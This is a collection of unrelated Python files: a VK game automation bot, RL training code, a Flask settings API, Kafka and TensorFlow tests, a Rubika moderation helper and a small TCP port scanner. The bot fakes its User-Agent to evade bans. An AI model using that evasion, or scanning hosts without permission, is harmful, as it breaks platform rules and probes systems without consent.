"Content-Type": "application/json",
"authorization": auth,
"User-agent": ua,
"origin": "https://prod-app7794757-c1ffb3285f12.pages-ac.vk-apps.com",
},
).json()
def get_slave_list(id):
"""Возвращает список рабов пользователя."""
return requests.get(
f"https://pixel.w84.vkforms.ru/HappySanta/slaves/1.0.0/slaveList?id={id}",
headers={
"Content-Type": "application/json",
"authorization": auth,
"User-agent": ua,
"origin": "https://prod-app7794757-c1ffb3285f12.pages-ac.vk-apps.com",
},
).json()
def get_top_users():
"""Возвращает список топ игроков."""
return requests.get(
"https://pixel.w84.vkforms.ru/HappySanta/slaves/1.0.0/topUsers",
headers={
"Content-Type": "application/json",
"authorization": auth,
"User-agent": ua,
"origin": "https://prod-app7794757-c1ffb3285f12.pages-ac.vk-apps.com",
},
).json()
def get_start():
"""Получает полную информацию о своём профиле."""
return requests.get(
"https://pixel.w84.vkforms.ru/HappySanta/slaves/1.0.0/start",
headers={
"Content-Type": "application/json",
"authorization": auth,
"User-agent": ua,
"origin": "https://prod-app7794757-c1ffb3285f12.pages-ac.vk-apps.com",
},
).json()
def upgrade_slave(me, slave_id):
"""Прокачивает раба, чтобы он приносил 1000 в минуту."""
# Проверка на то, дал ли нормальный сервер нормальный ответ
if "balance" in me.keys():
# Проверка на то, хватит ли баланса для прокачки
if int(me["balance"]) >= 39214:
try:
slave_price = int(get_user(slave_id)["price"])
while slave_price <= 26151:
sell_slave(slave_id)
print(timetext() + colored(f"Продал id{slave_id} для улучшения", 'green'))
buy_slave(slave_id)
print(timetext() + colored(f"Улучшил id{slave_id}", 'green'))
sleep(delay + random())
slave_price = int(get_user(slave_id)["price"])
cliupdate()
except Exception as e:
cliupdate()
print(e.args)
sleep(delay + random())
pass
def upgrade_slaves():
"""Прокачивает рабов, чтобы они приносили 1000 в минуту."""
while True:
try:
# Перебор списка рабов
for slave in get_start()["slaves"]:
balance = get_user(my_id)["balance"]
if int(balance) >= 39214:
slave_price = get_user(slave["id"])["price"]
while int(slave_price) <= 26151:
sell_slave(slave["id"])
print(timetext() + colored(f"Продал id{slave['id']} для улучшения", 'green'))
buy_slave(slave["id"])
print(timetext() + colored(f"Улучшил id{slave['id']}", 'green'))
cliupdate()
sleep(delay + random())
slave_price = get_user(slave["id"])["price"]
except Exception as e:
cliupdate()
print(e.args)
sleep(delay + random())
def buy_top_users_slaves():
"""То же самое, что и buy_slaves, только перекупает рабов у топ игроков."""
while True:
try:
top_users = get_top_users()
if "list" in top_users.keys():
for top_user in top_users["list"]:
top_user_slaves = get_slave_list(int(top_user["id"]))
if "slaves" in top_user_slaves.keys():
for slave in top_user_slaves["slaves"]:
if int(slave["fetter_to"]) == 0:
slave_id = slave["id"]
slave_info = get_user(slave_id)
if slave_info["price"] <= max_price:
# Покупка раба
buy_slave(slave_id)
# Получение информации о себе
me = get_user(my_id)
print(
timetext() + colored(
f"""Купил vk.com/id{slave_id} за {slave_info["price"]}""", 'green') +
colored(f"""
Баланс: {"{:,}".format(me['balance'])} Рабов: {"{:,}".format(me['slaves_count'])} Доход в минуту: {"{:,}".format(me['slaves_profit_per_min'])} Место в рейтинге: {"{:,}".format(me['rating_position'])}""",
'yellow'))
# Прокачивает раба
if conf_upgrade_slaves == 1:
upgrade_slave(me, slave_id)
# Покупает оковы только что купленному рабу
if buy_fetters == 1:
buy_fetter(slave_id)
print(
timetext() + colored(f"Купил оковы vk.com/id{slave_id}", 'green'
))
cliupdate()
sleep(delay + random())
except Exception as e:
cliupdate()
print(e.args)
sleep(delay + random())
def buy_slaves():
"""Покупает и улучшает рабов, надевает оковы, если включено в config.json."""
while True:
try:
# Случайный раб в промежутке
slave_id = randint(1, 646959225)
slave_info = get_user(slave_id)
# Проверка раба на соотвествие настройкам цены
while int(slave_info["price"]) >= max_price:
slave_id = randint(1, 646959225)
slave_info = get_user(slave_id)
# Покупка раба
buy_slave(slave_id)
# Получение информации о себе
me = get_user(my_id)
print(
timetext() + colored(
f"""Купил vk.com/id{slave_id} за {slave_info["price"]}""", 'green') +
colored(f"""
Баланс: {"{:,}".format(me['balance'])} Рабов: {"{:,}".format(me['slaves_count'])} Доход в минуту: {"{:,}".format(me['slaves_profit_per_min'])} Место в рейтинге: {"{:,}".format(me['rating_position'])}""",
'yellow'))
# Прокачивает раба
if conf_upgrade_slaves == 1:
upgrade_slave(me, slave_id)
# Покупает оковы только что купленному рабу
if buy_fetters == 1:
buy_fetter(slave_id)
print(timetext() + colored(f"Купил оковы vk.com/id{slave_id}", 'green'))
cliupdate()
sleep(delay + random())
except Exception as e:
cliupdate()
print(e.args)
sleep(delay + random())
def buy_fetters():
"""Покупает оковы тем, у кого их нет."""
while True:
try:
slaves = get_start()["slaves"]
# Удаление первого раба из списка, чтобы не происходило коллизии с прокачкой
if conf_upgrade_slaves == 1:
del slaves[0]
# Перебор списка рабов
for slave in slaves:
# Проверка на наличие оков
if int(slave["fetter_to"]) == 0:
buy_fetter(slave["id"])
print(timetext() + colored(f"Купил оковы id{slave['id']}", 'green'))
sleep(delay + random())
cliupdate()
except Exception as e:
cliupdate()
print(e.args)
sleep(delay + random())
def job_slaves():
"""Даёт безработным работу."""
while True:
try:
slaves = get_start()["slaves"]
if conf_buy_slaves == 0 and conf_buy_fetters == 1:
del slaves[0]
# Перебор списка рабов
for slave in slaves:
# Проверка на наличие у раба работы
if not slave["job"]["name"]:
job_slave(int(slave["id"]))
print(timetext() + colored(f"Дал работу id{slave['id']}", 'green'))
cliupdate()
sleep(delay + random())
except Exception as e:
cliupdate()
print(e.args)
sleep(delay + random())
def cliupdate():
try:
me = get_user(my_id)
if sys.platform == "win32":
ctypes.windll.kernel32.SetConsoleTitleW(
'VKSlavesBot ' + version + ' > ' + str(me['slaves_count']) + ' slaves' + ' > ' + str(
me['balance']) + ' rubles' + ' > top ' + str(me['rating_position']) + ' > ' + str(
me['slaves_profit_per_min']) + ' rps')
else:
pass
except Exception as e:
print(e.args)
def timetext():
return f"""[{strftime("%d.%m.%Y %H:%M:%S")}]: """
if __name__ == "__main__":
print(colored(
"""vk.com/free_slaves_bot
github.com/monosans/vk-slaves-bot
Версия 3.3\n""", 'cyan'
))
try:
me = get_user(my_id)
if sys.platform == "win32":
ctypes.windll.kernel32.SetConsoleTitleW('VKSlavesBot Starting...')
else:
pass
print(timetext() + colored('VKSlavesBot Starting...', 'green'))
# Конфиг
with open("config.json") as f:
try:
config = load(f)
except:
print("Неверный конфиг")
sys.exit()
vktoken = str(config["vktoken"])
conf_buy_fetters = int(config["buy_fetters"])
conf_buy_slaves = int(config["buy_slaves"])
delay = int(config["delay"])
top_hate = int(config["top_hate"])
try:
job = list(config["job"])
except:
job = str(config["job"])
max_price = int(config["max_price"])
conf_upgrade_slaves = int(config["upgrade_slaves"])
# Get bearer
print(timetext() + colored('Getting bearer...', 'green'))
bearer_re = r"index.html\?(.*)"
get = requests.get(
"https://api.vk.com/method/apps.get",
params={
"app_id": 7794757,
"platform": "ios",
"v": 5.23,
"access_token": vktoken,
},
).json()
if "response" not in get:
raise Exception("invalid response")
url = get["response"]["mobile_iframe_url"]
match = re.search(bearer_re, url)
try:
auth = match.group(1)
except:
raise Exception("can't parse bearer")
# get id
print(timetext() + colored('Getting id...', 'green'))
get2 = requests.get(
"https://api.vk.com/method/account.getProfileInfo",
params={
"app_id": 7794757,
"platform": "ios",
"v": 5.23,
"access_token": vktoken,
},
).json()
if "response" not in get2:
raise Exception("invalid response")
try:
my_id = int(get2['response']['id'])
except:
raise Exception("can't parse my id")
# Создание фейкового UserAgent для избежания бана
ua = UserAgent(cache=False).random
if conf_buy_slaves == 1 and top_hate == 0:
print("Включена покупка случайных рабов.")
Thread(target=buy_slaves).start()
elif conf_buy_slaves == 1 and top_hate == 1:
print("Включена перекупка рабов у топеров.")
Thread(target=buy_top_users_slaves).start()
if conf_upgrade_slaves == 1 and conf_buy_slaves == 0:
Thread(target=upgrade_slaves).start()
if conf_buy_fetters == 1:
Thread(target=buy_fetters).start()
Thread(target=job_slaves).start()
print(timetext() + colored('VKSlavesBot Started!', 'green'))
|
test_minigame.py | from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
USED_DEVICES = "4"
import os
os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID"
os.environ["CUDA_VISIBLE_DEVICES"] = USED_DEVICES
import sys
import threading
import time
import tensorflow as tf
import multiprocessing as mp
import numpy as np
from logging import warning as logging
from datetime import datetime
from mini_network import MiniNetwork
from strategy.protoss_agent import Protoss
from strategy.terran_agent import Terran
from strategy.terran_agent import Terran, DummyTerran
# from strategy.agent import Dummy
from unit.units import Army
from lib.replay_buffer import Buffer
from mapping_env import SimulatePlatform
from absl import app
from absl import flags
import unit.protoss_unit as P
import unit.terran_unit as T
FLAGS = flags.FLAGS
flags.DEFINE_string("restore_model_path", "./model/20190221-134411_mini/", "path for restore model")
flags.DEFINE_bool("restore_model", False, "Whether to restore old model")
FLAGS(sys.argv)
# define some global variable
UPDATE_EVENT, ROLLING_EVENT = threading.Event(), threading.Event()
Counter = 0
Waiting_Counter = 0
Update_Counter = 0
Result_List = []
NUM_FOR_UPDATE = 500
PARALLEL = 1
THREAD_NUM = 1
if True:
PARALLEL = 10
THREAD_NUM = 1
PORT_NUM = 36360
TRAIN_ITERS = 220
SERVER_DICT = {"worker": [], "ps": []}
DIFF = 1
def eval(agent, game_num, Synchronizer):
blue_agent = DummyTerran()
blue_agent.get_power()
env = SimulatePlatform(red_agent=agent, blue_agent=blue_agent,
distance=5, max_steps=150)
env.init()
agent.set_env(env)
val_results = []
for _ in range(game_num):
agent.play_with_rl()
val_results.append(agent.result)
agent.reset()
win_rate = 0.0
if len(val_results) > 0:
win_rate = val_results.count(1) / float(len(val_results))
return win_rate
def run_thread(agent, game_num, Synchronizer, difficulty):
global UPDATE_EVENT, ROLLING_EVENT, Counter, Waiting_Counter, Update_Counter, Result_List
num = 0
proc_name = mp.current_process().name
blue_agent = DummyTerran(diff=difficulty)
blue_agent.get_power()
env = SimulatePlatform(red_agent=agent, blue_agent=blue_agent,
distance=5, max_steps=100)
env.init()
agent.set_env(env)
while True:
# agent.play_with_rl(verbos=True)'
env.simulate(False)
if True:
# check if the num of episodes is enough to update
num += 1
Counter += 1
reward = agent.result
Result_List.append(reward)
logging("(diff: %d) %d epoch: %s get %d/%d episodes! return: %f!" %
(int(difficulty), Update_Counter, proc_name, len(Result_List), game_num * THREAD_NUM, reward))
# time for update
if num == game_num:
num = 0
ROLLING_EVENT.clear()
# worker stops rolling, wait for update
if agent.agent_id != 0 and THREAD_NUM > 1:
Waiting_Counter += 1
if Waiting_Counter == THREAD_NUM - 1: # wait for all the workers stop
UPDATE_EVENT.set()
ROLLING_EVENT.wait()
# update!
else:
if THREAD_NUM > 1:
UPDATE_EVENT.wait()
Synchronizer.wait() # wait for other processes to update
agent.update_network(Result_List)
Result_List.clear()
agent.global_buffer.reset()
Synchronizer.wait()
Update_Counter += 1
# finish update
UPDATE_EVENT.clear()
Waiting_Counter = 0
ROLLING_EVENT.set()
win_rate = agent.net.get_win_rate()
if win_rate > 0.90:
difficulty += 1
env.blue_agent.set_diff(difficulty)
print('Increase difficulty to:', difficulty)
env.reset()
def Worker(index, update_game_num, Synchronizer, cluster, model_path):
config = tf.ConfigProto(
allow_soft_placement=True, log_device_placement=False,
)
config.gpu_options.allow_growth = True
worker = tf.train.Server(cluster, job_name="worker", task_index=index, config=config)
#config.gpu_options.per_process_gpu_memory_fraction = 0.2
sess = tf.Session(target=worker.target, config=config)
mini_net = MiniNetwork(sess, index=index, summary_writer=None, rl_training=True, cluster=cluster,
ppo_load_path=FLAGS.restore_model_path, ppo_save_path=model_path)
global_buffer = Buffer()
agents = []
for i in range(THREAD_NUM):
agent = Terran(agent_id=i, global_buffer=global_buffer, net=mini_net, restore_model=FLAGS.restore_model)
agents.append(agent)
print("Worker %d: waiting for cluster connection..." % index)
sess.run(tf.report_uninitialized_variables())
print("Worker %d: cluster ready!" % index)
while len(sess.run(tf.report_uninitialized_variables())):
print("Worker %d: waiting for variable initialization..." % index)
time.sleep(1)
print("Worker %d: variables initialized" % index)
game_num = np.ceil(update_game_num // THREAD_NUM)
UPDATE_EVENT.clear()
ROLLING_EVENT.set()
difficulty = DIFF
# Run threads
threads = []
for i in range(THREAD_NUM - 1):
t = threading.Thread(target=run_thread, args=(agents[i], game_num, Synchronizer, difficulty))
threads.append(t)
t.daemon = True
t.start()
time.sleep(3)
run_thread(agents[-1], game_num, Synchronizer, difficulty)
for t in threads:
t.join()
def Parameter_Server(Synchronizer, cluster, log_path, model_path, procs):
config = tf.ConfigProto(
allow_soft_placement=True, log_device_placement=False,
)
config.gpu_options.allow_growth = True
server = tf.train.Server(cluster, job_name="ps", task_index=0, config=config)
#config.gpu_options.per_process_gpu_memory_fraction = 0.2
sess = tf.Session(target=server.target, config=config)
summary_writer = tf.summary.FileWriter(log_path)
mini_net = MiniNetwork(sess, index=0, summary_writer=summary_writer, rl_training=True, cluster=cluster,
ppo_load_path=FLAGS.restore_model_path, ppo_save_path=model_path)
agent = Terran(agent_id=-1, global_buffer=Buffer(), net=mini_net, restore_model=FLAGS.restore_model)
print("Parameter server: waiting for cluster connection...")
sess.run(tf.report_uninitialized_variables())
print("Parameter server: cluster ready!")
print("Parameter server: initializing variables...")
agent.init_network()
print("Parameter server: variables initialized")
update_counter = 0
# max_win_rate = 0.
while update_counter <= TRAIN_ITERS:
agent.reset_old_network()
# wait for update
Synchronizer.wait()
logging("Update Network!")
# TODO count the time , compare cpu and gpu
time.sleep(1)
# update finish
Synchronizer.wait()
logging("Update Network finished!")
# agent.update_summary(update_counter)
# update_counter += 1
# agent.save_model()
steps, win_rate = agent.update_summary(update_counter)
# logging("Steps: %d, win rate: %f" % (steps, win_rate))
update_counter += 1
agent.save_model()
# max_win_rate = win_rate
# if update_counter % 5 == 0:
# print('iter:', update_counter, ', begin to eval')
#win_rate = eval(agent, NUM_FOR_UPDATE, Synchronizer)
#print('win rate:', win_rate)
# if win_rate >= 0.95:
# break
for p in procs:
print('Process terminate')
p.terminate()
if __name__ == "__main__":
# create distribute tf cluster
start_port = PORT_NUM
SERVER_DICT["ps"].append("localhost:%d" % start_port)
for i in range(PARALLEL):
SERVER_DICT["worker"].append("localhost:%d" % (start_port + 1 + i))
Cluster = tf.train.ClusterSpec(SERVER_DICT)
now = datetime.now()
model_path = "./model/" + now.strftime("%Y%m%d-%H%M%S") + "_mini/"
if not os.path.exists(model_path):
os.makedirs(model_path)
LOG = "./logs/" + now.strftime("%Y%m%d-%H%M%S") + "_mini/"
UPDATE_GAME_NUM = NUM_FOR_UPDATE
per_update_num = np.ceil(UPDATE_GAME_NUM / PARALLEL)
Synchronizer = mp.Barrier(PARALLEL + 1)
# Run parallel process
procs = []
for index in range(PARALLEL):
p = mp.Process(name="Worker_%d" % index, target=Worker, args=(index, per_update_num, Synchronizer, Cluster, model_path))
procs.append(p)
p.daemon = True
p.start()
time.sleep(1)
Parameter_Server(Synchronizer, Cluster, LOG, model_path, procs)
# for p in procs:
# print('Process join')
# p.join()
|
settings.py | from flask import request, redirect, Response, session
import urllib.parse
import threading
import time
import json
class Settings():
endpoints = ["/api/settings"]
endpoint_name = "api_settings"
endpoint_methods = ["GET", "POST"]
def __init__(self, fhdhr):
self.fhdhr = fhdhr
self.restart_url = "/api/settings?method=restart_actual"
self.restart_sleep = 5
def __call__(self, *args):
return self.get(*args)
def get(self, *args):
method = request.args.get('method', default="get", type=str)
redirect_url = request.args.get('redirect', default=None, type=str)
if method == "get":
web_settings_dict = {}
for config_section in list(self.fhdhr.config.conf_default.keys()):
web_settings_dict[config_section] = {}
for config_item in list(self.fhdhr.config.conf_default[config_section].keys()):
web_settings_dict[config_section][config_item] = {
"value": self.fhdhr.config.dict[config_section][config_item],
}
if self.fhdhr.config.conf_default[config_section][config_item]["config_web_hidden"]:
web_settings_dict[config_section][config_item]["value"] = "***********"
return_json = json.dumps(web_settings_dict, indent=4)
return Response(status=200,
response=return_json,
mimetype='application/json')
elif method == "update":
config_section = request.form.get('config_section', None)
config_name = request.form.get('config_name', None)
config_value = request.form.get('config_value', None)
if not config_section or not config_name:
if redirect_url:
return redirect("%s?retmessage=%s" % (redirect_url, urllib.parse.quote("%s Failed" % method)))
else:
return "%s Falied" % method
self.fhdhr.config.write(config_name, config_value, config_section)
elif method == "restart":
restart_thread = threading.Thread(target=self.restart_thread)
restart_thread.start()
return redirect("%s?retmessage=%s" % (redirect_url, urllib.parse.quote("Restarting in %s seconds" % self.restart_sleep)))
elif method == "restart_actual":
session["restart"] = True
if redirect_url:
if "?" in redirect_url:
return redirect("%s&retmessage=%s" % (redirect_url, urllib.parse.quote("%s Success" % method)))
else:
return redirect("%s?retmessage=%s" % (redirect_url, urllib.parse.quote("%s Success" % method)))
else:
return "%s Success" % method
def restart_thread(self):
time.sleep(self.restart_sleep)
self.fhdhr.api.get(self.restart_url)
|
test_threads.py | #!/usr/bin/env python
from confluent_kafka import Producer
import threading
import time
try:
from queue import Queue, Empty
except:
from Queue import Queue, Empty
class IntendedException (Exception):
pass
def thread_run(myid, p, q):
def do_crash(err, msg):
raise IntendedException()
for i in range(1, 3):
cb = None
if i == 2:
cb = do_crash
p.produce('mytopic', value='hi', callback=cb)
t = time.time()
try:
p.flush()
print(myid, 'Flush took %.3f' % (time.time() - t))
except IntendedException:
print(myid, "Intentional callback crash: ok")
continue
print(myid, 'Done')
q.put(myid)
def test_thread_safety():
""" Basic thread safety tests. """
q = Queue()
p = Producer({'socket.timeout.ms': 10,
'socket.blocking.max.ms': 10,
'default.topic.config': {'message.timeout.ms': 10}})
threads = list()
for i in range(1, 5):
thr = threading.Thread(target=thread_run, name=str(i), args=[i, p, q])
thr.start()
threads.append(thr)
for thr in threads:
thr.join()
# Count the number of threads that exited cleanly
cnt = 0
try:
for x in iter(q.get_nowait, None):
cnt += 1
except Empty:
pass
if cnt != len(threads):
raise Exception('Only %d/%d threads succeeded' % (cnt, len(threads)))
print('Done')
if __name__ == '__main__':
test_thread_safety()
|
tools.py | from re import findall
from threading import Thread
from datetime import datetime
from rubika.client import Bot, Socket
bot = None
socket = None
lockTime = None
class Tools:
def __init__(self, auth):
global bot
global socket
bot = Bot(auth)
socket = Socket(auth)
def antiInsult(self, msg):
return any(word in open("dontReadMe.txt").read().split("\n") for word in msg.split())
def antiAD(self, msg):
links = list(map(lambda ID: ID.strip()[1:],findall(r"@[\w|_|\d]+", msg))) + list(map(lambda link:link.split("/")[-1],findall(r"rubika\.ir/\w+",msg)))
joincORjoing = "joing" in msg or "joinc" in msg
if joincORjoing: return True
else:
for link in links:
try:
Type = bot.getInfoByUsername(link)["data"]["chat"]["abs_object"]["type"]
if Type == "Channel": return True
except KeyError: return False
def antiSpam(self, messages):
hasSpam, beforeIter = False, messages[0]
for msg in messages[1:]: hasSpam, beforeIter = msg == beforeIter, msg
return hasSpam
class lockSchedule:
def __init__(self): pass
def setLockTime(self, h, m):
global lockTime
lockTime = f"{h}:{m}"
def getLockTime(self):
global lockTime
return lockTime
def checkLockTime(self, guid, accesses=[]):
global lockTime
if datetime.now().strftime("%H:%M") == lockTime:
bot.setMembersAccess(guid, accesses)
def checkUnlockTime(self, guid, accesses=["ViewMembers","ViewAdmins","SendMessages","AddMember"]):
global lockTime
if datetime.now().strftime("%H:%M") == lockTime:
bot.setMembersAccess(guid, accesses)
def commandHandler(self, message, command, method):
if message == command: method()
def isJoin(self, user_guid, channel_guid):
userInfo = bot.getUserInfo(user_guid)["data"]
haveUserName = 'username' in userInfo['user']
channelMembers = lambda keyword : bot.searchInChannelMembers(keyword, channel_guid)
for i in (channelMembers(userInfo['user']['username'].replace("@","")) if haveUserName else []):
if i['member_guid'] == user_guid: return True
for i in channelMembers(userInfo['user']['first_name']):
if i['member_guid'] == member_guid: return True
for i in channelMembers(userInfo['user']['last_name']):
if i['member_guid'] == member_guid: return True
return False
def faster(self, controller):
def get(): socket.handle()
def use(): controller(socket.data)
while True:
Thread(target=get).start()
Thread(target=use).start() |
portscanner.py | import argparse
import sys
from socket import *
from threading import Thread,Semaphore
lock=Semaphore(value=1)
def connScan(host,port):
try:
skt=socket(AF_INET,SOCK_STREAM)
skt.connect((host,port))
skt.send(('hello\r\n').encode('utf-8'))
skt.recv(100)
lock.acquire()
print(f'[+] {port} is open')
except timeout:
lock.acquire()
print(f'[-] {port} is closed')
finally:
lock.release()
skt.close()
def portScan(host,ports):
try:
ip=gethostbyname(host)
except gaierror:
print(f'Cannot resolve {host} unknown')
sys.exit()
try:
name=gethostbyaddr(ip)
print(f'Scan results for {name[0]}')
except gaierror:
print(f'Scan results for {ip}: ')
sys.exit()
setdefaulttimeout(1)
for port in ports:
t=Thread(target=connScan,args=(host,int(port)))
t.start()
def Main():
parser=argparse.ArgumentParser()
parser.add_argument("-H","--host",type=str,help="host name",default="127.0.0.1")
parser.add_argument("-p","--port",type=str,help="port number[s]",default="80")
args=parser.parse_args()
host=args.host
ports=args.port.split(',')
portScan(host,ports)
if __name__=='__main__':
Main()
|
data_service_ops_test.py | # Copyright 2020 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
"""Tests for tf.data service ops."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import os
import threading
import time
from absl.testing import parameterized
from tensorflow.python.data.experimental.ops import batching
from tensorflow.python.data.experimental.ops import data_service_ops
from tensorflow.python.data.experimental.ops import distribute_options
from tensorflow.python.data.experimental.ops import grouping
from tensorflow.python.data.experimental.ops import testing
from tensorflow.python.data.experimental.service import server_lib
from tensorflow.python.data.kernel_tests import test_base
from tensorflow.python.data.ops import dataset_ops
from tensorflow.python.eager import def_function
from tensorflow.python.framework import combinations
from tensorflow.python.framework import constant_op
from tensorflow.python.framework import dtypes
from tensorflow.python.framework import errors
from tensorflow.python.framework import random_seed
from tensorflow.python.framework import sparse_tensor
from tensorflow.python.framework import tensor_spec
from tensorflow.python.ops import math_ops
from tensorflow.python.ops import random_ops
from tensorflow.python.ops import sparse_ops
from tensorflow.python.ops import string_ops
from tensorflow.python.ops import tensor_array_ops
from tensorflow.python.platform import test
def _address_from_target(target):
# Targets are in the format <protocol>://<address>
return target.split("://")[1]
def _make_distributed_dataset(dataset,
dispatcher,
job_name=None,
max_outstanding_requests=None):
return dataset.apply(
data_service_ops._distribute(
"parallel_epochs",
dispatcher.target,
job_name=job_name,
max_outstanding_requests=max_outstanding_requests,
task_refresh_interval_hint_ms=20))
def _all_cluster_configurations():
with_work_dir = combinations.combine(
work_dir=None, fault_tolerant_mode=[True, False])
without_work_dir = combinations.combine(
work_dir="", fault_tolerant_mode=False)
return with_work_dir + without_work_dir
def _make_distributed_range_dataset(num_elements,
dispatcher,
job_name=None,
max_outstanding_requests=None):
"""Creates a distributed dataset.
Args:
num_elements: The number of elements in the range dataset that will be
distributed.
dispatcher: The dispatcher to distribute to.
job_name: Optional job name for the distributed dataset.
max_outstanding_requests: Optional limit on the number of outstanding
requests.
Returns:
The created dataset.
"""
dataset = dataset_ops.Dataset.range(num_elements)
return _make_distributed_dataset(dataset, dispatcher, job_name,
max_outstanding_requests)
class DataServiceOpsTest(test_base.DatasetTestBase, parameterized.TestCase):
def start_dispatch_server(self,
name="",
port=0,
work_dir=None,
fault_tolerant_mode=True):
# If a test starts multiple independent dispatch servers, it should give
# them different `name` values.
work_dir = os.path.join(self.get_temp_dir(), "work_dir_",
name) if work_dir is None else work_dir
return server_lib.DispatchServer(
port=port,
protocol=server_lib.DEFAULT_PROTOCOL,
work_dir=work_dir,
fault_tolerant_mode=fault_tolerant_mode)
def start_worker_server(self, dispatcher, port=0):
return server_lib.WorkerServer(
port=port,
dispatcher_address=_address_from_target(dispatcher.target),
protocol=server_lib.DEFAULT_PROTOCOL)
def restart_dispatcher(self, dispatcher):
"""Stops `dispatcher` and returns a new dispatcher with the same port."""
port = int(_address_from_target(dispatcher.target).split(":")[1])
dispatcher._stop()
return self.start_dispatch_server(
port=port,
work_dir=dispatcher._work_dir,
fault_tolerant_mode=dispatcher._fault_tolerant_mode)
def restart_worker(self, worker, dispatcher, use_same_port=True):
"""Stops `worker` and returns a new worker."""
port = 0
if use_same_port:
port = int(worker._address.split(":")[1])
worker._stop()
return self.start_worker_server(dispatcher, port)
def start_cluster(self,
num_workers,
name="",
work_dir=None,
fault_tolerant_mode=True):
"""Creates and starts a tf.data service cluster."""
dispatcher = self.start_dispatch_server(
name=name, work_dir=work_dir, fault_tolerant_mode=fault_tolerant_mode)
workers = [self.start_worker_server(dispatcher) for _ in range(num_workers)]
return dispatcher, workers
@combinations.generate(
combinations.times(test_base.eager_only_combinations(),
_all_cluster_configurations()))
def testDistributeBasic(self, work_dir, fault_tolerant_mode):
dispatcher, workers = self.start_cluster( # to avoid gcing workers, pylint: disable=unused-variable
1,
work_dir=work_dir,
fault_tolerant_mode=fault_tolerant_mode)
num_elements = 10
ds = _make_distributed_range_dataset(10, dispatcher)
results = [elem.numpy() for elem in ds]
self.assertEqual(list(range(num_elements)), results)
@combinations.generate(test_base.eager_only_combinations())
def testDispatcherStop(self):
dispatcher, workers = self.start_cluster(1) # to avoid gcing workers, pylint: disable=unused-variable
num_elements = 100
ds = _make_distributed_range_dataset(num_elements, dispatcher)
iterator = iter(ds)
results = []
results.append(next(iterator).numpy())
dispatcher._stop()
# After the dispatcher dies, the worker should continue providing the rest
# of the dataset's elements.
for _ in range(num_elements - 1):
results.append(next(iterator).numpy())
self.assertEqual(results, list(range(num_elements)))
@combinations.generate(test_base.eager_only_combinations())
def testDispatcherRestartBeforeReading(self):
dispatcher, workers = self.start_cluster(1) # to avoid gcing workers, pylint: disable=unused-variable
num_elements = 100
ds = _make_distributed_range_dataset(num_elements, dispatcher)
dispatcher = self.restart_dispatcher(dispatcher)
self.assertDatasetProduces(ds, list(range(num_elements)))
@combinations.generate(test_base.eager_only_combinations())
def testDispatcherRestartDuringReading(self):
dispatcher, workers = self.start_cluster(1) # to avoid gcing workers, pylint: disable=unused-variable
num_elements = 100
ds = _make_distributed_range_dataset(num_elements, dispatcher)
iterator = iter(ds)
results = []
for _ in range(num_elements // 2):
results.append(next(iterator).numpy())
dispatcher = self.restart_dispatcher(dispatcher)
for elem in iterator:
results.append(elem.numpy())
self.assertEqual(list(range(num_elements)), results)
@combinations.generate(test_base.eager_only_combinations())
def testDispatcherRestartBetweenIterations(self):
dispatcher, workers = self.start_cluster(1) # to avoid gcing workers, pylint: disable=unused-variable
num_elements = 100
ds = _make_distributed_range_dataset(100, dispatcher)
self.assertDatasetProduces(ds, list(range(num_elements)))
dispatcher = self.restart_dispatcher(dispatcher)
self.assertDatasetProduces(ds, list(range(num_elements)))
@combinations.generate(test_base.eager_only_combinations())
def testDispatcherManyRestarts(self):
dispatcher, workers = self.start_cluster(1) # to avoid gcing workers, pylint: disable=unused-variable
num_elements_start = 10
num_elements_end = 15
datasets = []
for num_elements in range(num_elements_start, num_elements_end):
datasets.append(_make_distributed_range_dataset(num_elements, dispatcher))
dispatcher = self.restart_dispatcher(dispatcher)
for ds, num_elements in zip(datasets,
range(num_elements_start, num_elements_end)):
self.assertDatasetProduces(ds, list(range(num_elements)))
@combinations.generate(test_base.eager_only_combinations())
def testDispatcherAndWorkerRestart(self):
dispatcher, [worker] = self.start_cluster(1) # to avoid gcing workers, pylint: disable=unused-variable
num_elements = 100
ds = dataset_ops.Dataset.range(num_elements)
def restart():
return (self.restart_dispatcher(dispatcher),
self.restart_worker(worker, dispatcher))
ds = _make_distributed_dataset(ds, dispatcher)
dispatcher, worker = restart()
self.assertDatasetProduces(ds, list(range(num_elements)))
dispatcher, worker = restart()
self.assertDatasetProduces(ds, list(range(num_elements)))
@combinations.generate(test_base.eager_only_combinations())
def testDistributeSparse(self):
dispatcher, workers = self.start_cluster(1) # to avoid gcing workers, pylint: disable=unused-variable
element = sparse_tensor.SparseTensor(
indices=[[0]],
values=constant_op.constant([0], dtype=dtypes.int32),
dense_shape=[1])
ds = dataset_ops.Dataset.from_tensors(element)
ds = _make_distributed_dataset(ds, dispatcher)
results = [sparse_ops.sparse_tensor_to_dense(elem) for elem in ds]
self.assertAllEqual(results, [[0]])
@combinations.generate(test_base.eager_only_combinations())
def testDistributeRagged(self):
dispatcher, workers = self.start_cluster(1) # to avoid gcing workers, pylint: disable=unused-variable
ds = dataset_ops.Dataset.from_tensor_slices([1, 5, 3, 2, 8])
ds = ds.map(math_ops.range)
ds = ds.apply(batching.dense_to_ragged_batch(2))
ds = _make_distributed_dataset(ds, dispatcher)
results = [elem.to_tensor() for elem in ds]
self.assertAllEqual(results[0], [[0, 0, 0, 0, 0], [0, 1, 2, 3, 4]])
self.assertAllEqual(results[1], [[0, 1, 2], [0, 1, 0]])
self.assertAllEqual(results[2], [[0, 1, 2, 3, 4, 5, 6, 7]])
@combinations.generate(test_base.eager_only_combinations())
def testDifferentShuffleOrders(self):
random_seed.set_random_seed(None)
num_elements = 100
dispatcher, workers = self.start_cluster(2) # to avoid gcing workers, pylint: disable=unused-variable
ds = dataset_ops.Dataset.range(num_elements)
ds = ds.shuffle(num_elements)
ds = _make_distributed_dataset(ds, dispatcher)
output = [elem.numpy() for elem in ds]
# The output will be two sequences of range(num_elements)
# non-deterministically interleaved together. If the orders of the elements
# were the same, first_order and second_order computed below will be equal.
first_order = {}
second_order = {}
